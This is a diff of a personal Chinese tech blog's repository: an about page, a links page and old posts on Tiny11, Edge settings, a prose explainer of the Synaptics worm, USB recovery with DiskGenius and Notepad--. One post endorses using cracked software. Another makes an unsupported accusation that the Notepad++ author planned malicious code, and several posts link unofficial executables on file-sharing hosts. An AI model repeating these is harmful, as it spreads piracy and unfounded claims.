z.object({ enabled: z.boolean().default(true), position: z.enum(['left', 'right']).default('right') })
]).default(true),
comments: z.boolean().default(false),
math: z.boolean().default(false),
mermaid: z.boolean().default(false)
});
const posts = defineCollection({
loader: glob({ base: './src/content/posts', pattern: '**/*.{md,mdx}' }),
schema: baseSchema
});
const pages = defineCollection({
loader: glob({ base: './src/content/pages', pattern: '**/*.{md,mdx}' }),
schema: baseSchema
});
export const collections = { posts, pages };
+184
View File
@@ -0,0 +1,184 @@
---
cover: "https://image.luming.cool/i/2026/07/26/6a6628967fe03.webp"
title: "关于"
pubDate: "2026-07-22T01:28:00.000Z"
updatedDate: "2026-07-27T05:26:00.000Z"
categories:
tags:
slug: "about"
comments: false
---
## 关于⌈我⌋
我是 RiseForever,生于河南。
准高二了。喜欢开发软件、科技数码。是一名 Xiaomi Vela 快应用开发者。
性格偏多疑敏感,善于察觉身边人的微小情绪。平时喜欢独处,不喜欢与任何人一起逛街、看电影,因为我感觉受到束缚。
如果你想知道我是一个怎样的人,请随便翻翻[我的文章](/archives),里面写的比我说的更清楚。
### 联系
电子邮箱:hi[at]riseforever.cn(请将“[at]”替换为“@”)
GitHub[virelyx258](https://github.com/virelyx258)
请不要试图添加我的即时通讯账户。无论有什么想探讨的,随时欢迎电邮交流。
### 使用的工具
[tools title = "设计"]
[Canva](https://www.canva.cn)+(https://image.luming.cool/i/2026/08/07/6a75ba231df9b.webp)/(图像设计)
[即时设计](https://js.design)+(https://image.luming.cool/i/2026/08/07/6a75c0b9bbf29.webp)/(UI 设计)
[Microsoft 365](https://m365.cloud.microsoft/)+(https://image.luming.cool/i/2026/08/07/6a75bd0318e8e.webp)/(文档处理)
[剪映](https://www.capcut.cn/)+(https://image.luming.cool/i/2026/08/07/6a75bf6a337d1.webp)/(视频剪辑)
[/tools]
[tools title = "生产力"]
[Chrome](https://google.cn/chrome/)+(https://image.luming.cool/i/2026/08/07/6a75c029d170b.webp)/(网页浏览)
[Edge](https://explore.microsoft.com/zh-cn/edge?ep=2185&form=MA14LR&es=375&cs=2324297850)+(https://image.luming.cool/i/2026/08/07/6a75c06af3bd2.webp)/(网页浏览)
[Typora](https://typoraio.cn/)+(https://image.luming.cool/i/2026/08/07/6a75bfad4d232.webp)/(Markdown 编辑)
[/tools]
[tools title = "开发"]
[AIoT IDE](https://iot.mi.com/vela/quickapp/)+(https://image.luming.cool/i/2026/08/07/6a75bd500971b.webp)/(快应用编写 & 调试)
[VS Code](https://code.visualstudio.com/)+(https://image.luming.cool/i/2026/08/07/6a75c0ba31e58.webp)/(全能 IDE)
[记事本](#)+(https://image.luming.cool/i/2026/08/07/6a75c16e34a58.webp)/(你懂的,真的便捷)
[/tools]
[tools title = "环境"]
[Windows 11](https://news.microsoft.com/windows11-general-availability/)+(https://image.luming.cool/i/2026/08/07/6a75c1d50d47d.webp)/(主力系统)
[Debian 13](https://www.debian.org/index.zh-cn.html)+(https://image.luming.cool/i/2026/08/07/6a75c2db6a6e9.webp)/(备用系统)
[/tools]
## 关于⌈这个网站⌋
严格来说,这个网站的建立时间是在 2024 年 10 月。因为我在那时开始转型记录生活。
有些话我没法对任何人说,于是就在这里写下。
### 域名
起初用的是 riseforever.cn,因为初中时我很想要一个有美好寓意的域名,想了很多,结果只有这个域名可注册。于是我选了它,网名也跟着取成了“RiseForever”。
初三时,我觉得 riseforever.cn 太长了,且 .CN 当时仍不支持隐私保护,便想着换个域名。当时朋友买了一个“mnb.cool”,让我看到了 .cool 这个后缀。过了几天,我在学校灵机一动——用自己的名字拼写“luming”做前缀,使用“.cool”后缀,这样搭配在视觉上非常和谐。
那周周末,我回家一搜 luming.cool ——未注册,于是赶紧注册了它。
| 注册商 | 帝思普(腾讯云) |
| -------------: | :------------------------------------------------------------------------------------------------------------- |
| 首次购入价格 | ¥48 |
| 续费价格 | ¥65 |
| 域名年龄 | ![域名年龄徽章](https://yisi.yun/api/badge/domain-age/luming.cool?theme=blue&lang=zh&size=medium&mode=light) |
[collapse title="riseforever.cn 信息"]
| 注册商 | 云讯(腾讯云) |
| -------------: | :---------------------------------------------------------------------------------------------------------------- |
| 首次购入价格 | ¥33 |
| 续费价格 | ¥38 |
| 域名年龄 | ![域名年龄徽章](https://yisi.yun/api/badge/domain-age/riseforever.cn?theme=blue&lang=zh&size=medium&mode=light) |
[/collapse]
目前保持着 riseforever.cn 和 luming.cool 双域名持有,每年续费大约需要¥103。
### 服务器
于 2026 年 7 月 21 日搬迁至 007IDC 的香港 BGP 线路服务器,经实测晚高峰也能跑满带宽 100 Mbps,三网回程经过优化,表现优异,河南联通 ping 延迟仅 31ms。
首月 9 元,后续叠加优惠,¥17.5/月。
| 厂商 | [007IDC](https://www.007idc.cn/aff/ZFIKNXMX) |
| -----: | :--------------------------------------------- |
| CPU | 2H Platinum 8272CL |
| 内存 | 2G DDR4 |
| 硬盘 | 30GB SSD |
| 带宽 | 100 Mbps(峰值) |
[collapse title="2026 年 1 月 - 6 月"]
7iNet 香港特惠秒杀机,¥9.9/月,炸夸响。后因其性能太过诡异而被更换。
| CPU | 2H E5-2698 v4 |
| -----: | :-------------------------------------- |
| 内存 | 2G |
| 硬盘 | 40GB SSD(写入 43MB/s,读取 156MB/s |
| 带宽 | 10 Mbps(不限流量) |
[/collapse]
[collapse title="2026 年以前"]
腾讯云新加坡服务器,¥99/年,买了两年,参加活动又送了三个月。后因 IP 线路更换导致延迟过高而被更换。
| CPU | 2H Platinum 8255C |
| -----: | :--------------------------------------- |
| 内存 | 2G |
| 硬盘 | 50GB SSD(写入 338MB/s,读取 6.2GB/s |
| 带宽 | 30 Mbps(月限流 1TB |
[/collapse]
### CDN
使用[毅融盾](https://rcdn.hydun.com/)进行图床加速。
毅融盾是融合了网宿与白山 CDN 资源的企业级 CDN,针对未备案域名进行特调,提供卓越的中国大陆访问速度。且没有三六九等的套餐配置,仅按流量计费,出售的是流量包。
毅融盾是我所在公司的产品,内部团队可免费使用,不限流量。如果你是外部用户,也可以通过[赞助计划](https://blog.hydun.com/9.html)免费获取 CDN 服务。
### 主题
使用自己制作的 Astro 主题 Mirages。
它极大程度上复刻了 Typecho 主题 Mirages 的风格和功能,又在此基础上使用了更先进的 TailWind CSS,使得站点响应速度更加优秀。
因为 Mirages 是一款付费主题,如果贸然开源会影响到原主题的销售,且本站主题仍处于开发状态,所以本主题暂不开源。
[collapse title="在此之前"]
使用 [Mirages](https://get233.com/archives/mirages-intro.html),一款阅读体验优秀的单栏 Typecho 主题。
我是在[白熊阿丸的小屋](https://blog.bxaw.name)首次体验这款主题,发现它支持用户手动切换衬线/非衬线字体、字体大小,这能使不同口味的用户都获得最适合自己的阅读体验。并且,这款主题在我的 MacBook Pro 2013 上表现得非常流畅。
于是在 2026 年 4 月,我选择购入并使用它。
[/collapse]
### 使用的第三方服务
使用 [WeAvatar](https://weavatar.com/) 作为评论区头像系统。
使用 [LUM ALBUM](https://image.luming.cool) 作为图床。(~~这也算第三方服务嘛~~)
### 备案
本站永远都不会考虑备案。
## 关于⌈我的作品⌋
[tools title = "Xiaomi Vela 快应用"]
[真智学](https://astrobox.online/open?source=resv2&id=cn.seedsoft.realzhixue&provider=OfficialV2)+(https://image.luming.cool/i/2026/08/07/6a75c6781929d.webp)/(免费 · 智学网客户端)
[极物流](https://astrobox.online/open?source=resv2&id=cn.seedsoft.express&provider=OfficialV2)+(https://image.luming.cool/i/2026/08/07/6a75c6910d03b.webp)/(订阅制 · 快递查询工具)
[Poster](https://astrobox.online/open?source=resv2&id=com.virelyx258.poster&provider=OfficialV2)+(https://image.luming.cool/i/2026/08/07/6a75c7021f80e.webp)/(免费 · 网络请求工具)
[/tools]
[tools title = "开源项目"]
[RStatus](https://github.com/virelyx258/RStatus)+(https://image.luming.cool/i/2026/08/08/6a7729950adcd.webp)/(公开你的互联网在线状态)
[火苗调试器](https://github.com/virelyx258/Flame-Debugger)+(https://image.luming.cool/i/2026/08/08/6a772a0218e74.webp)/(适用于网课软件的调试工具)
[/tools]
## 关于⌈版权协议⌋
如果没有特殊说明,本站文章都是原创,基于 [CC-BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/deed.zh-hans) 协议公开。
转载请注明原文链接。[协议](https://creativecommons.org/licenses/by-nc-nd/4.0/deed.zh-hans)原则上不允许对本站文章的再混合、转换、或者二次创作。如果有必要二创,请邮件沟通。
+97
View File
@@ -0,0 +1,97 @@
---
title: "友人"
description: "友谊地久天长"
pubDate: "2026-07-22T01:28:00.000Z"
cover: "https://image.luming.cool/i/2026/07/26/6a662e5c66130.webp"
slug: "links"
---
## 单向链接
[白熊阿丸的小屋](https://blog.bxaw.name)+(https://image.luming.cool/i/2026/07/23/6a619a9ad3e61.webp)/(在这里可以看到一个真实的我,我会在这里书写我的一切。)
[Vei Blog](https://blog.veitzn.top/)+(https://image.luming.cool/i/2026/06/22/6a3956faa910d.webp)/(松窗竹户,万千潇洒。)
[莫比乌斯](https://mobius.blog/)+(https://image.luming.cool/i/2026/07/25/6a648121695fc.webp)/(写作,一场自我悖驳的旅程。)
## 生活类博主
[悦绮录](https://i.duckxu.com/)+(https://image.luming.cool/i/2026/06/22/6a39572c9ef57.webp)/(悦己绮世,自由如风。)
[小改学习志](https://www.haoyu233.com/)+(https://weavatar.com/avatar/14e584196d31262ea144ab4d75d4c083?s=200)/(行到水穷处,坐看云起时。)
[老陈爱刷机](https://blog.chenyuxia.com/)+(https://image.luming.cool/i/2026/06/21/6a37fdaf9c4c7.webp)/(你可以在这里找到一些好玩的东西。)
[往日信笺](https://www.xingmail.cn/)+(https://image.luming.cool/i/2026/06/22/6a39570f5a1b6.webp)/(一个Xing分享自己的故事的地方)
[Horean's Blog](https://blog.hxrch.top)+(https://image.luming.cool/i/2026/06/21/6a37f998e92c8.webp)/(Spread the knowledge wisely & widely.)
[小岚的杂物间](https://www.guirlan.de/)+(https://weavatar.com/avatar/172530293dcfb25d871a72ccb39b21c2?s=200)/(这里储存着各种稀奇古怪事物~)
[阿锋的小宇宙](https://blog.feng.pub/)+(https://blog.feng.pub/static/logo/avatar.jpg)/(沧海一粟,微亮而渺小。)
[希记](https://note.moxiify.cn/)+(https://q1.qlogo.cn/g?b=qq&nk=3188468169&s=640)/(做一条,逆流的鱼。)
[Fmkli](https://lli.moe)+(https://image.luming.cool/i/2026/06/21/6a37f9efaef09.webp)/(一位 Xiaomi Vela 快应用开发者。)
[伏枥之间](https://www.leehenry.top)+(https://image.luming.cool/i/2026/06/22/6a39577800675.webp)/(何妨吟啸且徐行。)
[合荒小站](https://hehuang.site)+(https://image.luming.cool/i/2026/08/07/6a7565bc1e7d0.webp)/(万物合鸣,独守一荒。)
[Pinpe 的云端](https://pinpe.top/)+(https://image.luming.cool/i/2026/06/22/6a39568f421dd.webp)/(一片属于自己的云朵。)
[蒋音象](https://jiangyx.org/)+(https://image.luming.cool/i/2026/07/11/6a51235da5835.webp)/(以文会友,以友辅仁。)
[摸鱼小窝](https://blog.aistu.cn)+(https://blog.aistu.cn/logo.webp)/(代码路上雾茫茫。)
[岚汐の小窝](https://blog.lanxis.top/)+(https://pic.lingqi.vip/logo11.jpg)/(一个兽兽的小树屋~)
[睿朗的秘密基地](https://blog.iamcrl.cn/)+(https://iamcrl.cn/avatar.jpg)/(Ruilang's Blog)
[云晓晨](https://blog.kaiqi.wang)+(https://www.kaiqi.wang/favicon.ico)/(未来路远,勿忘初心。)
[柳橙睿](https://www.liuchengrui.cn/)+(https://image.luming.cool/i/2026/06/22/6a395765069a2.webp)/(其实我是一个假柳橙。)
[CC米饭的小世界](https://world.ccrice.com/)+(https://weavatar.com/avatar/39bab898a41e6fa8d7357abd9c283bb7?s=200)/(是全新的世界!)
[makotowu](https://blog.makotowu.cn/)+(https://image.luming.cool/i/2026/06/22/6a3956cf92ebd.webp)/(飞萤扑火,向「阳」而生。)
[蘇 SU](https://suus.me)+(https://weavatar.com/avatar/5b986063afb0ee2d78abd40defe3aec607d812b372093008646e137f61023869?sha256=1&d=mp&s=500)/在数字的海洋中,寻找属于自己的星辰。)
[松種小窝](https://pineseed.cn/)+(https://image.luming.cool/i/2026/06/21/6a37fa0dc1945.webp)/(花开又花落,时节暗中迁。)
## 技术类博主
[新锐博客](https://blog.xrbk.cn/)+(https://blog.xrbk.cn/favicon.png)/(记录学习与分享资源。)
[10 科技说](https://www.tech10.cn/)+(https://image.luming.cool/i/2026/08/06/6a74af0519e25.webp)/(10科技说的个人主页。)
[米雅乐](https://blog.miyale.cc/)+(https://image.luming.cool/i/2026/07/23/6a619b7273d45.webp)/(Coder & Designer.)
[LR.C](https://bbslrc.vxni.ink/)+(https://image.luming.cool/i/2026/06/21/6a37ede8eaad4.webp)/(一位 Xiaomi Vela 快应用开发者。)
[小景](https://jingyuan-zheng.github.io/zh/)+(https://image.luming.cool/i/2026/07/23/6a62284fa496c.webp)/(随心分享有趣的技术、开源项目与生活记录。)
[XXY の博客](https://blog.xuxiny.top)+(https://q1.qlogo.cn/headimg_dl?dst_uin=3429924750&spec=5)/(爱折腾,爱分享。)
[圆周率](https://www.yuanzj.top)+(https://image.luming.cool/i/2026/06/21/6a37fa3752ea4.webp)/(My Blog!)
[MC_Kero blog](https://blog.mckero.com/)+(https://img.cdn1.vip/i/68f3418995084_1760772489.png)/(依稀当年泪目干。)
[Levi](https://leviqin.top/)+(https://image.luming.cool/i/2026/06/22/6a3957bedea05.webp)/(一个有意思的Blog,工作记录,日常分享,欢迎访问。)
[KFACBT](https://blog.gytxtx.top/)+(https://image.luming.cool/i/2026/06/22/6a3957de12346.webp)/(主要分享一些技术文章,偶尔也会发一些日常。)
[重生云](https://xiaochopin.github.io/)+(https://weavatar.com/avatar/a10109bb266cc4eebc8d7992a4977a0c?s=200)/(明月装饰了你的窗,你装饰了别人的梦。)
[Echo](https://www.liveout.cn/)+(https://image.luming.cool/i/2026/07/23/6a619b08ec4ad.webp)/(Life is code. I will debug it.)
[Bensz](https://blognas.hwb0307.com/)+(https://blognas.hwb0307.com/logo.jpg)/(百代繁华一朝都,谁非过客;千秋明月吹角寒,花是主人。)
## 88x31
欢迎与我交换 88x31 按钮。第一个是本站按钮。若要交换,请先在贵站放置本站按钮,然后电邮联系我进行交换。
<div style="display: inline-block; width: 88px;"><a href="https://www.luming.cool"><img src="https://image.luming.cool/i/2026/07/21/6a5f455105140.gif" alt="路明笔记" style="width: 100%; height: auto; display: block;"></a></div>
<div style="display: inline-block; width: 88px;"><a href="https://blog.bxaw.name/" target="_blank"><img src="https://img.bxaw.name/hotlink-ok/logo/bxaw-88x31.gif" alt="白熊阿丸" style="width: 100%; height: auto; display: block;"></a></div>
<div style="display: inline-block; width: 88px;"><a href="https://blog.verdant.ee/" target="_blank"><img src="https://image.luming.cool/i/2026/08/02/6a6f6164bd5b6.gif" alt="映屿" style="width: 100%; height: auto; display: block;"></a></div>
+147
View File
@@ -0,0 +1,147 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0c1db1d0.webp"
title: "【软件分享】拯救老设备,优化新体验-Tiny11系统介绍"
pubDate: "2023-07-09T05:56:31.000Z"
updatedDate: "2023-07-09T05:56:31.000Z"
categories:
- "科技"
tags:
- "Windows"
comments: true
---
<!-- wp:heading -->
<h2 class="wp-block-heading">前言</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>大家好,我是路明。在文章开始之前,我想先问大家一个问题:在座的各位有多少是使用Windows11的呢?</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>或许很多人会回答:”我在用Windows11“,但也会有很多人回答:”我没有用Windows11“。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>Windows11给用户带来了全新的视觉体验,但它自微软发布以来就设置了很高的门槛,如</p>
<!-- /wp:paragraph -->
<!-- wp:list -->
<ul><!-- wp:list-item -->
<li>TPM加密模块支持</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>安全启动支持</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>RAM需要4GB以上</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>CPU必须为酷睿8代以上</li>
<!-- /wp:list-item --></ul>
<!-- /wp:list -->
<!-- wp:paragraph -->
<p>当时大多数人们的电脑都不符合这个要求,因此导致了大家对Windows11并不是那么向往。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>然而,为了打破这个限制,一个由外国大佬NTDev精简的Windows11--Tiny11出现了!</p>
<!-- /wp:paragraph -->
<!-- wp:image {"align":"center","id":211,"width":680,"height":383,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image aligncenter size-full is-resized"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113083009056354.webp" /></figure>
<!-- /wp:image -->
<!-- wp:heading -->
<h2 class="wp-block-heading">简要介绍</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>Tiny11是一个在国外拥有很好口碑的Windows11镜像,它在系统组件方面做了极大的精简,使其在安装后占用C盘空间≤9GB(原版≥20GB)。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>Tiny11采用原版Windows11安装器,但它在安装过程中不需要进行任何硬件检测,也就是说即使您的电脑不符合原版Windows11的硬件要求,也是可以直接安装Tiny11的。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>据说,Tiny11的最低硬件要求是2GB的RAM+8GB的ROM,可以说是让任何计算机都能安装体验Windows11了。</p>
<!-- /wp:paragraph -->
<!-- wp:heading -->
<h2 class="wp-block-heading">系统功能</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>Tiny11和Windows11基本相同,删除了原版Windows11的诸多非核心组件(包括Microsoft Edge,但可以在Microsoft Store下载回来),但保留了Microsoft Store,方便用户下载其它Microsoft应用。</p>
<!-- /wp:paragraph -->
<!-- wp:image {"align":"center","id":212,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image aligncenter size-full"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113083021016402.webp" /></figure>
<!-- /wp:image -->
<!-- wp:paragraph -->
<p>该系统出厂默认语言是英文,毕竟它是老外制作的,使用英文也很正常。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>因为NTDev删除了很多组件,所以用户想要通过Tiny11来获得原版Windows11的使用体验是不可能的。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>Tiny11在开机后,内存占用约在1.3GB~1.7GB之间,相比小编的占用2.8GB有很大优势。</p>
<!-- /wp:paragraph -->
<!-- wp:image {"align":"center","id":213,"width":489,"height":372,"sizeSlug":"full","linkDestination":"none"} -->
<figure class="wp-block-image aligncenter size-full is-resized"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113083040930480.webp" /></figure>
<!-- /wp:image -->
<!-- wp:paragraph -->
<p>如果你不习惯Tiny11的英文语言,可以通过以下方法设置成中文</p>
<!-- /wp:paragraph -->
<!-- wp:list {"ordered":true} -->
<ol><!-- wp:list-item -->
<li>打开系统设置,点击”Time&amp;Language“按钮;</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>在右侧找到”Language&amp;region“并打开;</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>在”Language“选项中,点击”Add a language“,并在列表中找到”中华人民共和国“;</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>添加该语言,重启电脑即可。</li>
<!-- /wp:list-item --></ol>
<!-- /wp:list -->
<!-- wp:paragraph -->
<p>不得不说,Tiny11不仅提供了我们常用的x64版本,还贴心地提供了ARM64架构的版本,使其可以被安装在Apple M系列芯片上和部分手机上。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>总的来说,如果你的电脑配置跟不上却又想体验Win11,可以下载Tiny11体验;</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>如果你只是想要一个精简版系统,也可以下载Tiny11并安装。</p>
<!-- /wp:paragraph -->
<!-- wp:heading -->
<h2 class="wp-block-heading">下载地址(来自异次元)</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>阿里云盘:<a href="https://www.aliyundrive.com/s/JeDiTyWoHcV" target="_blank" rel="noreferrer noopener" data-type="URL" data-id="https://www.aliyundrive.com/s/JeDiTyWoHcV">https://www.aliyundrive.com/s/JeDiTyWoHcV</a></p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>百度网盘:<a href="https://pan.baidu.com/s/1sas4I8U7TCm2_fllrgC-Uw?pwd=m6j8" target="_blank" rel="noreferrer noopener" data-type="URL" data-id="https://pan.baidu.com/s/1sas4I8U7TCm2_fllrgC-Uw?pwd=m6j8">https://pan.baidu.com/s/1sas4I8U7TCm2_fllrgC-Uw?pwd=m6j8</a></p>
<!-- /wp:paragraph -->
+53
View File
@@ -0,0 +1,53 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0c1558eb.webp"
title: "【软件优化】Microsoft Edge刚到手必做的事"
pubDate: "2023-07-16T00:13:46.000Z"
updatedDate: "2023-07-16T00:13:46.000Z"
categories:
- "生活"
tags:
- "优化"
comments: true
---
<h2>前言</h2>
大家好,我是路明。想必大家都用过Microsoft Edge吧,现在的Microsoft Edge的新标签页和侧边栏几乎处处都是广告。接下来小编教大家如何快速优化自己的Microsoft Edge。
<h2>优化</h2>
先来看看优化前的Microsoft Edge。
<div class="wp-block-image">
<figure class="aligncenter size-large">
<div class="fancybox-wrapper" data-fancybox="post-images"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113084125078198.webp" /></div>
<figcaption class="wp-element-caption"><em>优化前的Microsoft Edge</em></figcaption></figure>
</div>
再来看看优化后的Microsoft Edge。
<div class="wp-block-image">
<figure class="aligncenter size-large">
<div class="fancybox-wrapper" data-fancybox="post-images"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113084134754065.webp" /></div>
<figcaption class="wp-element-caption"><em>优化后的Microsoft Edge</em></figcaption></figure>
</div>
首先,在杂乱无章的新标签页中可以找到一个非常显眼的设置图标(如图)
<div class="wp-block-image">
<figure class="aligncenter size-full">
<div class="fancybox-wrapper" data-fancybox="post-images"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113084143682024.webp" /></div></figure>
</div>
我们点击一下它,瞬间就弹出了很多选项,这里我们这样做:
<div class="wp-block-image">
<figure class="aligncenter size-full">
<div class="fancybox-wrapper" data-fancybox="post-images"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113084151210851.webp" /></div></figure>
</div>
<ul>
<li>关闭快速链接</li>
<li>关闭网站导航</li>
<li>关闭背景,或设置为每日一图</li>
<li>关闭显示问候语,也可不关</li>
<li>关闭新标签页提示</li>
<li>关闭内容</li>
</ul>
其实说白了,就是全关,这样你就得到了和文章开头一样纯净的新标签页。
要关掉侧边栏,我们先点击右上角三个点,往下找到“设置”,在设置里找到“侧栏”,将“始终显示边栏”取消选中即可。
<figure class="wp-block-image size-large">
<div class="fancybox-wrapper" data-fancybox="post-images"><img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113084209312200.webp" /></div></figure>
今天的这个小技巧你学会了吗?
<h2>结束语</h2>
本期文章就到这里啦,我是路明,我们下期再见。
+37
View File
@@ -0,0 +1,37 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0c0ccf13.webp"
title: "【系统维护】如何正确预防Synaptics蠕虫病毒"
pubDate: "2023-07-17T06:26:20.000Z"
updatedDate: "2023-07-17T06:26:20.000Z"
categories:
- "生活"
tags: []
comments: true
---
<h2>前言</h2>
大家好,我是路明。看到本文的标题,你可能会疑惑:Synaptics不是和笔记本电脑触摸板有关的吗?怎么变成蠕虫病毒了?接下来就由我来给大家科普下何为Synaptics蠕虫病毒以及如何正确预防。
<h2>简介</h2>
Synaptics原为一种触控板驱动程序,但是也有一种与其同名的Synaptics,它是一种新型木马病毒,这种病毒具有很强的传播性,可以通过Excel宏来实现,也可以通过修改exe程序数据段来实现。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113085420532284.webp" />
当用户的exe程序感染Synaptics后,其首先会将自身复制到程序所在目录中,再将原程序的内容复制到自身资源段内,再复制程序图标,当用户运行被感染的文件时,Synaptics会自动释放名为“._cache_Filename.exe”的可执行文件并运行,不会影响到原程序的功能,使得用户很难直接发现Synaptics的感染。感染Synaptics后,它会通过注册表写入开机启动项,并且在后台时时刻刻消耗你的CPU,监听用户的USB设备,当用户插入USB设备后,Synaptics会立刻感染USB设备内的*.exe和*.xlsx文件,并通过写入Autorun.inf的方法来实现当用户双击USB设备时自动运行。
当用户的xlsx表格感染Synaptics后,会读取并复制xlsx文件内容,接着会与病毒文件中的资源段.xlsm合并为新的*.xlsm文件,最后替换正常文件。xlsm资源会自动启用所有宏,当用户打开文档时,无需确认就会自动执行宏。
<h2 id="header-id-2" class="wp-block-heading">如何辨别</h2>
辨别Synaptics也是一件不算很难的事。大家只需进入操作系统中的“文件夹选项”,将“隐藏受保护的操作系统文件”取消选中,并将“显示隐藏的文件、文件夹和驱动器”选中,点击“确定”即可。
接下来,进入“桌面”、“我的文档”、“下载”这三个文件夹,在里面寻找一些被隐藏的开头前缀为“._cache_”的可执行文件以及表格文件,如果没有,就右键空白处→显示→超大图标,这时候,被感染的文件就很容易露出鸡脚了(喜)。
由于Synaptics感染的可执行文件只具备原文件中分辨率最小的一个图标,所以找找有没有一些图标很模糊的可执行文件,实在不行的话就右键每一个可执行文件,点击属性,看看文件名是不是“Synaptics Pointing Device”(大概是)
如果有小伙伴要问了:我的“桌面”、“我的文档”、“下载”文件夹内并没有exe文件怎么办?
小编:……没事,你进入C:\ProgramData\Synaptics目录,看里面有没有Synaptics.exe,如果有的话就是了,没有的话就不是了。。
<h2>解毒</h2>
这里我来给大家分享一个由吾爱破解大佬开发的Synaptics文件恢复工具,可以进行全盘扫描并恢复。
下载链接:<a href="https://loverain.lanzoul.com/iFrtr12qamre" target="_blank" rel="noreferrer noopener">https://loverain.lanzoul.com/iFrtr12qamre</a>
<h2>结束语</h2>
本期文章就到这里啦,我是路明,我们下期再见!
+51
View File
@@ -0,0 +1,51 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0c049267.webp"
title: "【硬件维护】U盘乱码怎么办"
pubDate: "2023-09-09T02:00:12.000Z"
updatedDate: "2023-09-09T02:00:12.000Z"
categories:
- "生活"
tags:
comments: true
---
<h2>前言</h2>
大家好,我是路明。上周,我的U盘莫名出现了问题,原本的文件系统为exFAT,在Windows中突然变成了FAT32,并且名称变成了全无规律的乱码文本,打开后是一堆乱码的文件夹及文件,创建日期有的是1980年,有的是2089年,并且无法打开。
我尝试了许多数据恢复的方法(包括但不限于7-Data数据恢复、Windows自带扫描坏扇区等),均无作用,最后利用DiskGenius成功找回丢失分区并完美挽救文件,接下来就由我来教大家如何利用DiskGenius解决。
<h2>解决方法</h2>
首先,需要准备好一个DiskGenius专业版(破解版可以使用专业版功能即可,无需购买),打开它。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113090852938747.webp" />
如果不出意外的话,损坏的U盘下方的分区会显示为损坏的分区,因为小编已经修复好了,所以仅做功能性展示。
然后,右键单击损坏的磁盘(注意是磁盘,<strong><span style="color: #ff0000;">不是分区!!</span></strong>
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113090935301131.webp" />
点击“搜索已丢失分区”,在弹出的窗口中直接点“开始搜索”
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113090955207571.webp" />
不出意外的话,软件会提示“搜索到分区”,点击“保留”即可。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113091012249980.webp" />
等待其搜索完毕后,不出意外的话可以直接看到损坏前的U盘分区,选中那个分区,点击“浏览文件”选项卡,便可以查看内部文件。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113091029905468.webp" />
为保险起见,小编在此仅教大家导出数据。
选中要恢复的文件,右键单击,可以选择“复制到桌面”,也可以选择“复制到我的文档”和“复制到指定文件夹”。可以根据个人喜好进行恢复。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113091930974543.webp" />
恢复时间取决于文件体积,恢复完成后可将U盘格式化继续使用。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113091959003921.webp" />
<h2>结束语</h2>
本期文章就到这里啦,我是路明,我们下期再见!
&nbsp;
+27
View File
@@ -0,0 +1,27 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0bf39b4e.webp"
title: "【软件分享】还在用Notepad++吗?国内有更好的Notepad--等着你!"
pubDate: "2023-10-04T04:39:42.000Z"
updatedDate: "2023-10-04T04:39:42.000Z"
categories:
- "科技"
tags:
comments: true
---
<h2>前言</h2>
大家好,我是路明。本期文章由我来向大家介绍一下Notepad--这款软件。
<h2>何为Notepad++</h2>
Notepad++是一款比较流行的记事本工具,其具有轻量的特点,非常适合做轻量文本工作。
但是Notepad++的作者是一名不折不扣的台独分子,曾经多次在官网内发表涉政言论,并打算在未来的Notepad++版本中加入恶意代码。
<h2>何为Notepad--</h2>
它是一款由中国人使用C++编写的文本编辑器,可以兼容Windows/Linux/macOS全平台。其目标是替换掉Notepad++,注重于在国产操作系统&amp;macOS上发展。
对比Notepad++Notepad--可以跨平台,这使得更多领域的用户能够享受到轻量级的文本编辑服务。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113093027830423.webp" />
<h2>下载地址</h2>
[c-downbtn type="123" url="https://www.123pan.com/s/Y5Nvjv-NzH8d.html" pwd=""]123云盘下载[/c-downbtn]
<h2>结束语</h2>
本期文章就到这里啦,我是路明,我们下期再见!
+260
View File
@@ -0,0 +1,260 @@
---
